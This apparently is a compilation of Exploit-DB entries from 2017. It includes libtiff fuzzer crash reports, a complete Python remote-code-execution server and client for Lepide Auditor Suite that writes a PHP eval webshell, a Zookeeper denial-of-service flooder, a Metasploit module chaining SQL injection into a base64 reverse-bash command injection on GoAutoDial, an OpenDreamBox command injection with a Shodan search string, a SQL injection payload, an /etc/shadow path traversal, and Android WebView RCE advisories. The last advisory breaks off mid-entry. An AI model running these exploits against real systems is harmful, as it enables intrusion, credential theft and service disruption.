==23520== Process terminating with default action of signal 11 (SIGSEGV)
==23520==  Access not within mapped region at address 0x0
==23520==    at 0x40CD1A: _TIFFVGetField (tif_dir.c:1072)
==23520==    by 0x41B2C5: TIFFVGetField (tif_dir.c:1198)
==23520==    by 0x41B2C5: TIFFGetField (tif_dir.c:1182)
==23520==    by 0x404CCF: tiffcp (tiffsplit.c:220)
==23520==    by 0x404CCF: main (tiffsplit.c:89)
==23520==  If you believe this happened as a result of a stack
==23520==  overflow in your program's main thread (unlikely but
==23520==  possible), you can try to increase the size of the
==23520==  main thread stack using the --main-stacksize= flag.
==23520==  The main thread stack size used in this run was 8388608.
==23520== 
==23520== HEAP SUMMARY:
==23520==     in use at exit: 17,821 bytes in 42 blocks
==23520==   total heap usage: 96 allocs, 54 frees, 59,223 bytes allocated
==23520== 
==23520== LEAK SUMMARY:
==23520==    definitely lost: 0 bytes in 0 blocks
==23520==    indirectly lost: 0 bytes in 0 blocks
==23520==      possibly lost: 0 bytes in 0 blocks
==23520==    still reachable: 17,821 bytes in 42 blocks
==23520==         suppressed: 0 bytes in 0 blocks
==23520== Rerun with --leak-check=full to see details of leaked memory
==23520== 
==23520== For counts of detected and suppressed errors, rerun with: -v
==23520== ERROR SUMMARY: 1 errors from 1 contexts (suppressed: 0 from 0)
Segmentation fault


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42301.zip
            
Source: http://bugzilla.maptools.org/show_bug.cgi?id=2706

Triggered by “./tiff2ps $POC” or “./tiff2pdf $POC”

Triggered by “./tiff2ps $POC” or “./tiff2pdf $POC”

The asan debug information is below:

$./tiff2ps $POC  


=================================================================
==26627==ERROR: LeakSanitizer: detected memory leaks

Direct leak of 1792 byte(s) in 7 object(s) allocated from:
    #0 0x7f7c4f1a19aa in malloc
(/usr/lib/x86_64-linux-gnu/libasan.so.2+0x989aa)
    #1 0x7f7c4dca72fd  (/usr/lib/x86_64-linux-gnu/libjbig.so.0+0x12fd)
    #2 0x3ea  (<unknown module>)

Indirect leak of 170491316224 byte(s) in 223 object(s) allocated from:
    #0 0x7f7c4f1a19aa in malloc
(/usr/lib/x86_64-linux-gnu/libasan.so.2+0x989aa)
    #1 0x7f7c4dca72fd  (/usr/lib/x86_64-linux-gnu/libjbig.so.0+0x12fd)
    #2 0x3ea  (<unknown module>)

SUMMARY: AddressSanitizer: 170491318016 byte(s) leaked in 230 allocation(s).


Affected version:
<=the Latest version (4.0.8)


Credits:

This vulnerability is detected by team OWL337, with our custom fuzzer coll AFL.
Please contact ganshuitao@gmail.com  and chaoz@tsinghua.edu.cn if you need more
info about the team, the tool or the vulnerability.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42300.zip
            
Source: http://bugzilla.maptools.org/show_bug.cgi?id=2712

Triggered by  "./tiffset POC1"

$ ./tiffset POC1
TIFFReadDirectory: Warning, Unknown field with tag 302 (0x12e) encountered.
TIFFReadDirectory: Warning, Unknown field with tag 61961 (0xf209) encountered.
poc3: AdobeDeflate compression support is not configured.
tiffset: tif_dirwrite.c:2127: int TIFFWriteDirectoryTagCheckedLong8Array(TIFF
*, uint32 *, TIFFDirEntry *, uint16, uint32, uint64 *): Assertion
`tif->tif_flags&TIFF_BIGTIFF' failed.
Aborted

The gdb debugging information is listed below:
(gdb) set args POC1
(gdb) r
...
(gdb) c
Continuing.
TIFFReadDirectory: Warning, Unknown field with tag 302 (0x12e) encountered.
TIFFReadDirectory: Warning, Unknown field with tag 61961 (0xf209) encountered.
poc2: AdobeDeflate compression support is not configured.

Breakpoint 2, TIFFWriteDirectoryTagCheckedLong8Array (tif=<optimized out>,
ndir=<optimized out>, count=1, 
    value=0x615c20, dir=<optimized out>, tag=<optimized out>) at
tif_dirwrite.c:2127
2127        assert(tif->tif_flags&TIFF_BIGTIFF);
(gdb) bt
#0  0x00007ffff746a428 in __GI_raise (sig=sig@entry=6) at
../sysdeps/unix/sysv/linux/raise.c:54
#1  0x00007ffff746c02a in __GI_abort () at abort.c:89
#2  0x00007ffff7462bd7 in __assert_fail_base (fmt=<optimized out>, 
    assertion=assertion@entry=0x7ffff7baf949 "tif->tif_flags&TIFF_BIGTIFF", 
    file=file@entry=0x7ffff7baf5c0 "tif_dirwrite.c", line=line@entry=2127, 
    function=function@entry=0x7ffff7baf8e2 "int
TIFFWriteDirectoryTagCheckedLong8Array(TIFF *, uint32 *, TIFFDirEntry *,
uint16, uint32, uint64 *)") at assert.c:92
#3  0x00007ffff7462c82 in __GI___assert_fail (assertion=0x7ffff7baf949
"tif->tif_flags&TIFF_BIGTIFF", 
    file=0x7ffff7baf5c0 "tif_dirwrite.c", line=2127, 
    function=0x7ffff7baf8e2 "int TIFFWriteDirectoryTagCheckedLong8Array(TIFF *,
uint32 *, TIFFDirEntry *, uint16, uint32, uint64 *)") at assert.c:101
#4  0x00007ffff7b4e9cb in TIFFWriteDirectoryTagCheckedLong8Array (tif=0x615010,
ndir=<optimized out>, count=1, 
    value=0x615c20, dir=<optimized out>, tag=<optimized out>) at
tif_dirwrite.c:2127
#5  TIFFWriteDirectoryTagLong8Array (count=1, value=0x615c20, tif=<optimized
out>, ndir=<optimized out>, 
    dir=<optimized out>, tag=<optimized out>) at tif_dirwrite.c:1462
#6  TIFFWriteDirectorySec (tif=<optimized out>, isimage=<optimized out>,
imagedone=<optimized out>, 
    pdiroff=<optimized out>) at tif_dirwrite.c:746
#7  0x00007ffff7b4f6b5 in TIFFWriteDirectory (tif=0x615010) at
tif_dirwrite.c:184
#8  TIFFRewriteDirectory (tif=<optimized out>) at tif_dirwrite.c:360
#9  0x0000000000402bc7 in main (argc=<optimized out>, argv=<optimized out>) at
tiffset.c:344

Trigged in line tif_dirwrite.c:2127 at function
TIFFWriteDirectoryTagCheckedLong8Array()
2122 static int
2123 TIFFWriteDirectoryTagCheckedLong8Array(TIFF* tif, uint32* ndir,
TIFFDirEntry* dir, uint16 tag, uint32 count, uint64*      value)
2124 {       
2125         assert(count<0x20000000);
2126         assert(sizeof(uint64)==8);
2127         assert(tif->tif_flags&TIFF_BIGTIFF);
2128         if (tif->tif_flags&TIFF_SWAB)
2129                 TIFFSwabArrayOfLong8(value,count);
2130        
return(TIFFWriteDirectoryTagData(tif,ndir,dir,tag,TIFF_LONG8,count,count*8,value));
2131 }

[note]: Tiffset sets the value of a TIFF header to a specified value.It will
modify the raw POC file,so you'd better make a backup file every time you are
going to run.

Credits:

This vulnerability is detected by team OWL337, with our custom fuzzer collAFL.
Please contact ganshuitao@gmail.com   and chaoz@tsinghua.edu.cn if you need
more info about the team, the tool or the vulnerability.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42299.zip
            
#!/usr/bin/python
"""
Lepide Auditor Suite createdb() Web Console Database Injection Remote Code Execution Vulnerability
Vendor:   http://www.lepide.com/
File:     lepideauditorsuite.zip 
SHA1:     3c003200408add04308c04e3e0ae03b7774e4120
Download: http://www.lepide.com/lepideauditor/download.html
Analysis: https://www.offensive-security.com/vulndev/auditing-the-auditor/

Summary:
========

The application allows an attacker to specify a server where a custom protocol is implemented. This server performs the authentication and allows an attacker to execute controlled SQL directly against the database as root.

Additional code:
================

When I wrote this poc, I didn't combine the server and client into a single poc. So below is the client-poc.py code:

root@kali:~# cat client-poc.py
#!/usr/bin/python
import requests
import sys

if len(sys.argv) < 3:
    print "(+) usage: %s <target> <attacker's server>" % sys.argv[0]
    sys.exit(-1)

target = sys.argv[1]
server = sys.argv[2]

s = requests.Session()
print "(+) sending auth bypass"
s.post('http://%s:7778/' % target, data = {'servername':server, 'username':'whateva','password':'thisisajoke!','submit':''}, allow_redirects=False)
print "(+) sending code execution request"
s.get('http://%s:7778/genratereports.php' % target, params = {'path':'lol','daterange':'2@3','id':'6'})

Example:
========

root@kali:~# ./server-poc.py 
Lepide Auditor Suite createdb() Web Console Database Injection Remote Code Execution
by mr_me 2016

(+) waiting for the target...
(+) connected by ('172.16.175.174', 50541)
(+) got a login request
(+) got a username: test
(+) got a password: hacked
(+) sending SUCCESS packet
(+) send string successful
(+) connected by ('172.16.175.174', 50542)
(+) got a login request
(+) got a username: test
(+) got a password: hacked
(+) sending SUCCESS packet
(+) send string successful
(+) got a column request
(+) got http request id: 6
(+) got http request path: lol
(+) send string successful
(+) got a filename request
(+) got http request daterange: 1@9 -  23:59:59
(+) got http request id: 6
(+) got http request path: lol
(+) successfully sent tag
(+) successfully sent file!
(+) file sent successfully
(+) done! Remote Code Execution: http://172.16.175.174:7778/offsec.php?e=phpinfo();

In another console:

root@kali:~# ./client-poc.py 172.16.175.174 172.16.175.1
(+) sending auth bypass
(+) sending code execution request
"""
import struct
import socket
from thread import start_new_thread
import struct

LOGIN    = 601
COLUMN   = 604
FILENAME = 603

VALID = 2
TAGR  = 4
FILEN = 5
SUCCESS = "_SUCCESS_"

def get_string(conn):
    size = struct.unpack(">i", conn.recv(4))[0] 
    data = conn.recv(size).decode("utf-16")
    conn.send(struct.pack(">i", VALID))
    return data

def send_string(conn, string):
    size = len(string.encode("utf-16-le"))
    conn.send(struct.pack(">i", size))
    conn.send(string.encode("utf-16-le"))
    return struct.unpack(">i", conn.recv(4))[0] 

def send_tag(conn, tag):
    conn.send(struct.pack(">i", TAGR))
    conn.send(struct.pack(">i", tag))
    return struct.unpack(">i", conn.recv(4))[0]

def send_file(conn, filedata):
    if send_tag(conn, FILEN) == 2:
        print "(+) successfully sent tag"

        # send length of file
        conn.send(struct.pack(">i", len(filedata.encode("utf-16-le"))))

        # send the malicious payload
        conn.send(filedata.encode("utf-16-le"))
        if struct.unpack(">i", conn.recv(4))[0] == 2:
            print "(+) successfully sent file!"
            if send_tag(conn, VALID) == 2:
                return True
    return False

def client_thread(conn):
    """
    Let's put it this way, my mum's not proud of my code.
    """
    while True:
        data = conn.recv(4)
        if data:
            resp = struct.unpack(">i", data)[0]
            if resp == 4:
                code = conn.recv(resp)
                resp = struct.unpack(">i", code)[0]

                # stage 1
                if resp == LOGIN:
                    print "(+) got a login request"

                    # send a VALID response back
                    conn.send(struct.pack(">i", VALID))

                    # now we expect to get the username and password
                    print "(+) got a username: %s" % get_string(conn)
                    print "(+) got a password: %s" % get_string(conn)

                    # now we try to send to send a success packet
                    print "(+) sending SUCCESS packet"
                    if send_string(conn, SUCCESS) == 2:
                        print "(+) send string successful"

                # stage 2
                elif resp == COLUMN:
                    print "(+) got a column request"

                    # send a VALID response back
                    conn.send(struct.pack(">i", VALID))
                    print "(+) got http request id: %s" % get_string(conn)
                    print "(+) got http request path: %s" % get_string(conn)
                    if send_string(conn, "foo-bar") == 2:
                        print "(+) send string successful"

                # stage 3 - this is where the exploitation is
                elif resp == FILENAME:
                    print "(+) got a filename request"
                    conn.send(struct.pack(">i", VALID))

                    # now we read back 3 strings...
                    print "(+) got http request daterange: %s" % get_string(conn)
                    print "(+) got http request id: %s" % get_string(conn)
                    print "(+) got http request path: %s" % get_string(conn)

                    # exploit!
                    if send_file(conn, "select '<?php eval($_GET[e]); ?>' into outfile '../../www/offsec.php';"):
                        print "(+) file sent successfully"
                        print "(+) done! Remote Code Execution: http://%s:7778/offsec.php?e=phpinfo();" % (addr[0])
                        break
    conn.close()

HOST = '0.0.0.0'
PORT = 1056

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((HOST, PORT))
s.listen(10)

print "Lepide Auditor Suite createdb() Web Console Database Injection Remote Code Execution"
print "by mr_me 2016\t\n"
print "(+) waiting for the target..."
while True:

    # blocking call, waits to accept a connection
    conn, addr = s.accept()
    print '(+) connected by %s' % addr
    start_new_thread(client_thread, (conn,))
s.close()
            
#!/usr/bin/python

# Exploit Title: Zookeeper Client Denial Of Service (Port 2181)
# Date: 2/7/2017
# Exploit Author: Brandon Dennis
# Email: bdennis@mail.hodges.edu
# Software Link: http://zookeeper.apache.org/releases.html#download
# Zookeeper Version: 3.5.2
# Tested on: Windows 2008 R2, Windows 2012 R2 x64 & x86
# Description: The wchp command to the ZK port 2181 will gather open internal files by each session/watcher and organize them for the requesting client. 
#	This command is CPU intensive and will cause a denial of service to the port as well as spike the CPU of the remote machine to 90-100% consistently before any other traffic. 
#	The average amount of threads uses was 10000 for testing. This should work on all 3.x+ versions of Zookeeper.
#	This should effect Linux x86 & x64 as well



import time
import os
import threading
import sys
import socket

numOfThreads = 1
exitStr = "n"
stop_threads = False
threads = []
ipAddress = "192.168.1.5" #Change this
port = 2181

def sendCommand(ipAddress, port):
	try:
		s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		s.connect((ipAddress, port))
		s.send("wchp\r".encode("utf-8"))
		s.recv(1024)
		s.send("wchc\r".encode("utf-8"))
		s.close()
	except:
		pass

	
def runCMD(id, stop, ipAddress, port):
	while True:
		sendCommand(ipAddress, port)
		if stop():
			break
	return
	
def welcomeBanner():
	banner = """ _______   __  _____               _               
|___  | | / / /  __ \             | |              
   / /| |/ /  | /  \/_ __ __ _ ___| |__   ___ _ __ 
  / / |    \  | |   | '__/ _` / __| '_ \ / _ | '__|
./ /__| |\  \ | \__/| | | (_| \__ | | | |  __| |   
\_____\_| \_/  \____|_|  \__,_|___|_| |_|\___|_|   
                                                   
                 By: Brandon Dennis 
		 Email: bdennis@mail.hodges.edu
				 """
	print(banner)
	

welcomeBanner()
numOfThreads = int(input("How many threads do you want to use: "))
print ("Startin Up Threads...")	
for i in range(numOfThreads):
	t = threading.Thread(target=runCMD, args=(id, lambda: stop_threads, ipAddress, port))
	threads.append(t)
	t.start()
print("Threads are now started...")
	

while exitStr != "y":
	inpt = input("Do you wish to stop threads(y): ")
	
	if inpt == "y":
		exitStr = "y"

print("\nStopping Threads...")
stop_threads = True		
for thread in threads:
	thread.join()
		
print("Threads are now stopped...")
sys.exit(0);
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => "GoAutoDial 3.3 Authentication Bypass / Command Injection",
      'Description'    => %q{
          This module exploits a SQL injection flaw in the login functionality for GoAutoDial version 3.3-1406088000 and below, and attempts to perform command injection. This also attempts to retrieve the admin user details, including the cleartext password stored in the underlying database. Command injection will be performed with root privileges. The default pre-packaged ISO builds are available from goautodial.org. Currently, the hardcoded command injection payload is an encoded reverse-tcp bash one-liner and the handler should be setup to receive it appropriately.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Chris McCurley',  # Discovery & Metasploit module
        ],
      'References'     =>
        [
          ['CVE', '2015-2843'],
          ['CVE', '2015-2845']
        ],
      'Platform'       => %w{unix},
      'Arch'            => ARCH_CMD,
      'Targets'        => [ ['Automatic', {} ] ],
      'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' },
      'DefaultTarget'  => 0,
      'Privileged'     => false,
      'DisclosureDate' => 'Apr 21 2015'))

    register_options(
      [
        OptPort.new('RPORT', [true, 'The target port', 443]),
        OptBool.new('SSL', [false, 'Use SSL', true]),
        OptString.new('TARGETURI', [true, 'The base path', '/'])
      ])
  end


  def check
    res = check_version()
    if res and res.body =~ /1421902800/
      return Exploit::CheckCode::Safe
    else
      return Exploit::CheckCode::Vulnerable
    end
  end

  def check_version()
    uri = target_uri.path

    send_request_cgi({
      'method'    => 'GET',
      'uri'       => normalize_uri(uri, 'changelog.txt'),
      'headers'   => {
        'User-Agent' => 'Mozilla/5.0',
        'Accept-Encoding' => 'identity'
      }
    })
  end

  def sqli_auth_bypass()
    uri = target_uri.path

    send_request_cgi({
      'method'    => 'POST',
      'uri'       => normalize_uri(uri, 'index.php', 'go_login', 'validate_credentials'),
      'headers'   => {
        'User-Agent' => 'Mozilla/5.0',
        'Accept-Encoding' => 'identity'
      },
      'vars_post' => {
        'user_name'   => 'admin',
        'user_pass'   => '\'%20or%20\'1\'%3D\'1'
      }
    })
  end

  def sqli_admin_pass(cookies)
   uri = target_uri.path

   send_request_cgi({
      'method'    => 'GET',
      'uri'       => normalize_uri(uri, 'index.php', 'go_site', 'go_get_user_info', '\'%20OR%20active=\'Y'),
      'headers'   => {
        'User-Agent' => 'Mozilla/5.0',
        'Accept-Encoding' => 'identity',
        'Cookie' => cookies
      }
    })
  end

  #
  # Run the actual exploit
  #
  def execute_command()

    encoded = Rex::Text.encode_base64("#{payload.encoded}")
    params = "||%20bash%20-c%20\"eval%20`echo%20-n%20" + encoded + "%20|%20base64%20--decode`\""
    uri = target_uri.path

    send_request_cgi({
      'method'    => 'GET',
      'uri'       => normalize_uri(uri, 'index.php', 'go_site', 'cpanel', params),
      'headers'   => {
        'User-Agent' => 'Mozilla/5.0',
        'Accept-Encoding' => 'identity',
        'Cookie' => @cookie
      }
    })
  end


  def exploit()
    print_status("#{rhost}:#{rport} - Trying SQL injection...")
    res1 = sqli_auth_bypass()

    if res1 && res1.code == 200
      print_good('Authentication Bypass (SQLi) was successful')
    else
      print_error('Error: Run \'check\' command to identify whether the auth bypass has been fixed')
    end

    @cookie = res1.get_cookies
    print_status("#{rhost}:#{rport} - Dumping admin password...")
    res = sqli_admin_pass(@cookie)

    if res
      print_good(res.body)
    else
      print_error('Error: No creds returned, possible mitigations are in place.')
    end
    print_status("#{rhost}:#{rport} - Sending payload...waiting for connection")

    execute_command()
  end
end
            
# Exploit Title: OpenDreamBox 2.0.0 - Plugin WebAdmin RCE
# Shodan Dork: "DreamBox" 200 ok"
# Date: 07/03/17
# Exploit Author: Jonatas Fil
# Vendor Homepage: https://www.dreamboxupdate.com
# Software Link: https://www.dreamboxupdate.com/opendreambox/2.0.0
# Version: 2.0.0

Vulnerabilty: Remote Command Execution via Command injection in Plugin
WebAdmin.
Tools: https://github.com/ninj4c0d3r/ShodanCli
----------------------------------------------------------------------------------------------------
p0c:

- First, Search in Shodan: "DreamBox" 200 ok.

(https://github.com/ninj4c0d3r/ShodanCli - My tool for search (need api) or
https://www.shodan.io)

- After, open the target and go to "Extra", wait a moment...

- In plugins, if WebAdmin Plugin is installed [VULNERABLE]:

Exploit : http://target.com:100000/webadmin/script?command=|YOUR_COMMAND

-----------------------------------------------------------------------------------------------------
Examples:

http://212.13.x.129:8081/webadmin/script?command=|uname -a : Linux dm7020hd 3.2-dm7020hd #1 SMP Sun Jun 21 15:26:04 CEST 2015 mips GNU/Linux
http://80.x.24.154:8880/webadmin/script?command=|id : uid=0(root) gid=0(root)
http://62.224.234.x:8081/webadmin/script?command=|pwd : /home/root
http://x.19.12.146:10000/webadmin/script?command=|cat /etc/issue : opendreambox 2.0.0 \n \l
            
#####################################
Exploit Title: SQL Injection In WatuPRO (WordPress Plugin to Create Exams, Tests and Quizzes)
Exploit Author: Manich  Koomsusi
Date: 03-07-2017
Software: WatuPRO
Version: 5.5.1
Website: http://calendarscripts.info/watupro/
Tested on: WordPress 4.7.5
Software Link: https://1drv.ms/u/s!AhfkvGaDTn1bmgHSj9u_jQX8iME0
CVE: CVE-2017-9834
#####################################

Description
==================================
SQL Injection in WatuPRO WordPress Plugin for create exams, Tests and Quizzes allow the attacker dump the database contents.

Vulnerability
==================================
This plugin sending quizzes to the server with “watupro_questions” parameter not sanitize before take SQL statement.

Proof of concept
==================================
Take exams or quizzes and submit to the server in POST method

Payload : “1:1,2) AND 4761=IF((41=41),SLEEP(5),4761) AND (4547=4547”    the server delay response time around ~5 second.
Payload : “1:1,2) AND 4761=IF((41=41),SLEEP(0),4761) AND (4547=4547”    the server not delay response time.

############
POST /pt/wordpress/wp-admin/admin-ajax.php HTTP/1.1
Content-Length: 292
Accept-Language: en-US,en;q=0.5
Host: 192.168.5.189
Accept: text/plain, */*; q=0.01
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:54.0) Gecko/20100101 Firefox/54.0
DNT: 1
Connection: close
X-Requested-With: XMLHttpRequest
Referer: http://192.168.5.189/pt/wordpress/
Cookie: wordpress_155e4542aeb2c66021dab6903e684bdb=admin%7C1497811093%7CaY85tN6gH7x8iYCzPETIcEJYYyn6tZlzJnbhTZLgZYX%7C475cf68a551a0db99cd991e958fc949bfe8f2a833bf39d0534ce25d29c11a9b8; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_155e4542aeb2c66021dab6903e684bdb=admin%7C1497811093%7CaY85tN6gH7x8iYCzPETIcEJYYyn6tZlzJnbhTZLgZYX%7C61ef1ea8c998118da9dd01d5f650dc0806f8bfbb1d5f28fdbb626f062bcebbcd; wp-settings-time-1=1497748191; PHPSESSID=rh7v9qt9ibdlioth3cecr5gg94
Content-Type: application/x-www-form-urlencoded
action=watupro_submit&quiz_id=1&question_id%5B%5D=1&watupro_questions=1:1,2)%20AND%204761%3dIF((41%3d41),SLEEP(5),4761)%20AND%20(4547%3d4547&post_id=5&answer-1%5B%5D=1&question_1_hints=&taker_email=hacker%40admin.com<http://40admin.com>&h_app_id=0.24749700+1497748201&start_time=2017-06-18+01%3A10%3A01&in_ajax=1
#############


Mitigations
==================================
Upgrade to version 5.5.3.7 or later.

Timeline
==================================
2017-06-19: Discovered the bug
2017-06-19: Reported to vendor
2017-06-19: First response from vendor saying software it fixed. But the vendor fix not properly
2017-06-20: Version 5.5.3.7 released “Fixed issue with input validate.”
2017-07-03: Advisory published

Discovered By:
=====================
Manich  Koomsusi
            
BOA Web Server 0.94.14 - Access to arbitrary files as privileges

Title: Vulnerability in BOA Webserver 0.94.14
Date: 20-06-2017
Status: Vendor contacted, patch available
Scope: Arbitrary file access
Platforms: Unix
Author: Miguel Mendez Z
Vendor Homepage: http://www.boa.org
Version: Boa Webserver 0.94.14rc21
CVE: CVE-2017-9833


Vulnerability description
-------------------------
-We can read any file located on the server
The server allows the injection of "../.." using the FILECAMERA variable sent by GET to read files with root privileges. Without using access credentials

Vulnerable variable:
FILECAMERA=../../etc/shadow%00

Exploit link:
/cgi-bin/wapopen?B1=OK&NO=CAM_16&REFRESH_TIME=Auto_00&FILECAMERA=../../etc/shadow%00&REFRESH_HTML=auto.htm&ONLOAD_HTML=onload.htm&STREAMING_HTML=streaming.htm&NAME=admin&PWD=admin&PIC_SIZE=0

Poc:
http://127.0.0.1/cgi-bin/wapopen?B1=OK&NO=CAM_16&REFRESH_TIME=Auto_00&FILECAMERA=../../etc/shadow%00&REFRESH_HTML=auto.htm&ONLOAD_HTML=onload.htm&STREAMING_HTML=streaming.htm&NAME=admin&PWD=admin&PIC_SIZE=0
            
# Exploit Title: BestSafe Browser FREE NoAds - Remote Code Execution
# Date: 30/Jun/17
# Exploit Author: MaXe
# Vendor Homepage: https://play.google.com/store/apps/details?id=a1.bestsafebrowser.com
# Software Link: See APK archive websites
# Screenshot: Refer to https://www.youtube.com/watch?v=VXNVzjsH0As
# Version: v3
# Tested on: Android 4.1.0 (Google APIs) - API Level 16 - x86
# CVE : N/A

BestSafe Browser FREE NoAds - Remote Code Execution (No MITM Required!)

Version affected: v3

App Info: The Android application reviewed, according to the developer, is "secure" and is built for a better Google experience, and is essential for those who wish to protect their right to privacy.

External Links:
https://play.google.com/store/apps/details?id=a1.bestsafebrowser.com
http://www.appsalesandsupport.com


Credits: MaXe (@InterN0T)
Special Thanks: no1special
Shouts: SubHacker and the rest of the awesome infosec community.


-:: The Advisory ::-
The Android application is vulnerable to Remote Code Execution attacks. This is caused by the following lines of code within the
\a1\bestsafebrowser\com\main.java file: (Lines 380 - 387)
    public static String _activity_create(boolean z) throws Exception {
        mostCurrent._activity.RemoveAllViews();
        Common.ProgressDialogShow(mostCurrent.activityBA, "Attempting to access the Internet");
        Phone phone = new Phone();
        main a1_bestsafebrowser_com_main = mostCurrent;
        _googleurl = "http://www.comparison.net.au";
        mostCurrent._activity.LoadLayout("Start", mostCurrent.activityBA);
        ActivityWrapper activityWrapper = mostCurrent._activity;

and

Lines 634 - 641:
    public static String _tr_tick() throws Exception {
        ...
        webViewExtras = mostCurrent._webviewextras1;
        WebViewExtras.clearCache((WebView) mostCurrent._webview1.getObject(), true);
        webViewExtras = mostCurrent._webviewextras1;
        WebViewExtras.addJavascriptInterface(mostCurrent.activityBA, (WebView) mostCurrent._webview1.getObject(), "MyEventName");
        WebViewWrapper webViewWrapper = mostCurrent._webview1;
        main a1_bestsafebrowser_com_main2 = mostCurrent;
        webViewWrapper.Loadproton-Url(_googleurl);
        str = "";

In addition to the above, the following App configuration also aids in the exploitability of this issue: (File: AndroidManifest.xml, Line: 3)
    <uses-sdk android:minSdkVersion="5" android:targetSdkVersion="14" />

If an attacker registers the domain "comparison.net.au" (it is currently NOT registered) and creates a DNS record for "www.comparison.net.au" then the attacker has full control over anyone who installs and runs this app. This vulnerability can be used to execute arbitrary Java code in the context of the application. The ".net.au" TLD requires slightly more validation during registration, in terms of a valid ABN, ACN or Trademark number. However, as this type of validation is fully automated and this type of information is public, an attacker can easily obtain another entity's ABN, ACN or Trademark number and use that to register a domain.

In addition to the above, in case someone has registered "comparison.net.au", then if an attacker performs a MITM attack against "www.comparison.net.au" by e.g. hijacking the domain name, DNS, IP prefix, or by serving a malicious wireless access point (or hijacking a legitimate one), or by hacking the server at "www.comparison.net.au", then the attacker can also abuse this vulnerability.

The root cause of this vulnerability is caused by addJavascriptInterface() within the WebViewer, which in older API versions can be used to execute arbitrary Java code by using reflection to access public methods with attacker provided JavaScript.


-:: Proof of Concept ::-
A successful attack that makes "www.comparison.net.au" serve the following code:
<script>
  function execute(cmd){
    return MyEventName.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmd);
  }
  execute(['/system/bin/sh', '-c', 'echo InterN0T was here > /data/data/a1.bestsafebrowser.com/owned']);
  execute(['/system/bin/sh', '-c', 'am start -a android.intent.action.VIEW -d "http://attacker-domain.tld/video.mp4"']);
  </script>
  This application has been owned.

Will make the Android application create a new file in the App directory named: owned, and also play a video chosen by the attacker as an example.

Instead of creating a new file, the attacker can also use the "drozer" payload for example. Refer to the references further below.


-:: Solution ::-
The Android app code should not use the addJavaScriptInterface() function. Instead the following code should be used:
    WebView webView = new WebView(this);
    setContentView(webView);
    ...
Alternatively, the application manifest should specify API levels JELLY_BEAN_MR1 and above as follows:
    <manifest>
    <uses-sdk android:minSdkVersion="17" />
    ...
    </manifest>

The URL used ("http://www.comparison.net.au") should ALSO use HTTPS (and verify the hostname and certificate properly).

Last but not least, the following code can also be used to determine whether the addJavascriptInterface should be enabled or not:
    private void exposeJsInterface() {
        if (VERSION.SDK_INT < 17) {
            Log.i(TAG, "addJavascriptInterface() bridge disabled.");
        } else {
            addJavascriptInterface(Object, "EVENT_NAME_HERE");
        }
    }



References:
http://50.56.33.56/blog/?p=314
https://developer.android.com/reference/android/webkit/WebView.html#addJavascriptInterface(java.lang.Object, java.lang.String)
https://labs.mwrinfosecurity.com/blog/webview-addjavascriptinterface-remote-code-execution/
https://labs.mwrinfosecurity.com/advisories/webview-addjavascriptinterface-remote-code-execution/
https://www.securecoding.cert.org/confluence/pages/viewpage.action?pageId=129859614

Filename: BestSafe Browser FREE NoAds_vv3.apk
File size: 10,593,599 Bytes

md5: db5cef1b11df38ba7a560d147e6be3e6
sha1: dd08b1c8af4e8fb4b62c32aed3cb3544042774d6
sha256: bcf7d43f060d7e50d02a1f38abf6308961c7fd0aa0bac718e01c2ead28d7ea1d

App Name: BestSafe Browser FREE NoAds
Package Name: a1.bestsafebrowser.com
Package Version: v3

:)

=== EOF ===

Video demo:
https://www.youtube.com/watch?v=VXNVzjsH0As

FULL POC Archive:
https://mega.nz/#!saRkTCxD!p42DYndcH95iFViaLCmtUvt9Xwbtm1x9MiND--Xng38

The following is the timeline:
29 June 2017 - Vendor is notified.
29 June 2017 - Vendor pulls apps from app store and files privacy and trademark complaints with YouTube. Vendor does not intend to fix vulnerabilities.
30 June 2017 - All disclosure websites notified, including Exploit-DB.
            
# Exploit Title: Australian Education App - Remote Code Execution
# Date: 30/Jun/17
# Exploit Author: MaXe
# Vendor Homepage: https://play.google.com/store/apps/details?id=a1.bestsafebrowser2.com
# Software Link: See APK archive websites
# Screenshot: Refer to https://www.youtube.com/watch?v=_DCz0OqJzBI
# Version: v6
# Tested on: Android 4.1.0 (Google APIs) - API Level 16 - x86
# CVE : N/A

Australian Education App - Remote Code Execution (No MITM Required!)

Version affected: v6

App Info: The Android application reviewed, according to the developer, comes with all the benefits of "privacy" and "secure browsing", and special configuration for the Australian Education Industry.

External Links:
https://play.google.com/store/apps/details?id=a1.bestsafebrowser2.com


Credits: MaXe (@InterN0T)
Special Thanks: no1special
Shouts: SubHacker and the rest of the awesome infosec community.


-:: The Advisory ::-
The Android application is vulnerable to Remote Code Execution attacks. This is caused by the following lines of code within the
\a1\bestsafebrowser2\com\main.java file: (Lines 133 - 140)
    public static String _activity_create(boolean bl) throws Exception {
        main.mostCurrent._activity.RemoveAllViews();
        Common.ProgressDialogShow(main.mostCurrent.activityBA, "Attempting to access the Internet");
        new Phone();
        Object object = mostCurrent;
        _googleurl = "http://www.tsearch.com.au";
        main.mostCurrent._activity.LoadLayout("Start", main.mostCurrent.activityBA);
        object = main.mostCurrent._activity;

and

Lines 444 - 450:
    public static String _tr_tick() throws Exception {
        ...
        object = main.mostCurrent._webviewextras1;
        WebViewExtras.clearCache((WebView)main.mostCurrent._webview1.getObject(), true);
        object = main.mostCurrent._webviewextras1;
        WebViewExtras.addJavascriptInterface(main.mostCurrent.activityBA, (WebView)main.mostCurrent._webview1.getObject(), "B4A");
        object = main.mostCurrent._webview1;
        object2 = mostCurrent;
        object.Loadproton-Url(_googleurl);

In addition to the above, the following App configuration also aids in the exploitability of this issue: (File: AndroidManifest.xml, Line: 3)
